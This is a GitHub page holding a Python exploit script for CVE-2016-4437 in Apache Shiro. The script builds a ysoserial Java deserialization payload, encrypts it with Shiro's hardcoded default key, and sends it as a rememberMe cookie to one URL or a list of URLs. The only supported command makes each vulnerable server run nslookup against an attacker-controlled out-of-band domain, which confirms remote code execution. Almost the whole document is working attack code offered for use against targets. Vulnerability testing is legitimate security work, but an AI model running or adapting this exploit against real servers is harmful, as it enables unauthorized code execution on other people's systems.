-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2016-4437.py
129 lines (103 loc) · 4.91 KB
/
CVE-2016-4437.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
# Script to test for CVE-2016-4437 using an nslookup of a controlled oob server
# Usage: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun
# If RCE is acheived, you should received DNS lookups for the domain + interactsh domain, so for example.com it
# would be example.com.ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun, and so on for each URL you enter. This
# allows you to determine which sites are vulnerable if you enter a file with a bunch of URLs
#
# Author: pizzapower - Matt Moreschi
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
import requests
import os
import time
import argparse
from tqdm import tqdm
from urllib.parse import urlparse
import urllib3
urllib3.disable_warnings()
# the java deserialization payload creation gadget
# maybe you will need to change this? hmmmmm
YSOSERIAL_GADGET=''
def parse_arguments():
# Create the parser
parser = argparse.ArgumentParser(description="Python script for exploiting a vulnerability")
# Add the arguments
parser.add_argument('-c', '--command', type=str, choices=['nslookup'], help='The command to execute. Currently, only "nslookup" is supported.')
parser.add_argument('-u', '--url', type=str, help='The URL to test in https://example.com form.')
parser.add_argument('-f', '--file', type=str, help='A file containing one URL per line.')
parser.add_argument('-i', '--interactsh', type=str, help='The interactsh out of bounds listener domain (or burp collaborator domain).')
parser.add_argument('-p', '--proxy', type=str, default=None, help='The proxy to use for http requests.')
args = parser.parse_args()
if args.url and args.file:
raise argparse.ArgumentError(None, "You can't provide both -u/--url and -f/--file at the same time.")
if not args.command or not (args.url or args.file) or not args.interactsh:
parser.print_help()
sys.exit(1)
if args.file:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f]
else:
urls = [args.url]
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
else:
proxies = None
return args.command, urls, args.interactsh, proxies
def download_ysoserial():
file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'ysoserial-all.jar')
if not os.path.isfile(file_path):
confirm = input("ysoserial-all.jar not found. Do you want to download it? (y/n): ")
if confirm.lower() == 'y':
url = "https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
response = requests.get(url, stream=True)
total_size = int(response.headers.get('content-length', 0))
block_size = 1024 #1 Kibibyte
t=tqdm(total=total_size, unit='iB', unit_scale=True)
with open(file_path, 'wb') as file:
for data in response.iter_content(block_size):
t.update(len(data))
file.write(data)
t.close()
if total_size != 0 and t.n != total_size:
print("ERROR, something went wrong")
else:
print("ysoserial-all.jar is required for the exploit. Exiting...")
sys.exit(1)
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', "ysoserial-all.jar", YSOSERIAL_GADGET, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# This is the hardcoded key value that allows us to exploit this vulnerability
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
def exploit(url, payload, Proxies):
try:
decoded_payload = payload.decode('ascii')
print(f"[+] Sending payload to: {url}")
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'}
requests.get(url, cookies={'rememberMe': payload.decode('ascii')}, timeout=10, proxies=Proxies, headers=headers, verify=False)
# time.sleep(2)
except Exception as e:
print(e)
pass
if __name__ == '__main__':
command, urls, interactsh, proxies = parse_arguments()
download_ysoserial()
for url in urls:
if command == 'nslookup':
domain = urlparse(url).netloc.split(':')[0]
full_command = command + " " + f"{domain}.{interactsh}"
# print(full_command)
payload = encode_rememberme(full_command)
exploit(url, payload, proxies)
else:
print("Invalid command. Only 'nslookup' is supported.")
sys.exit(1)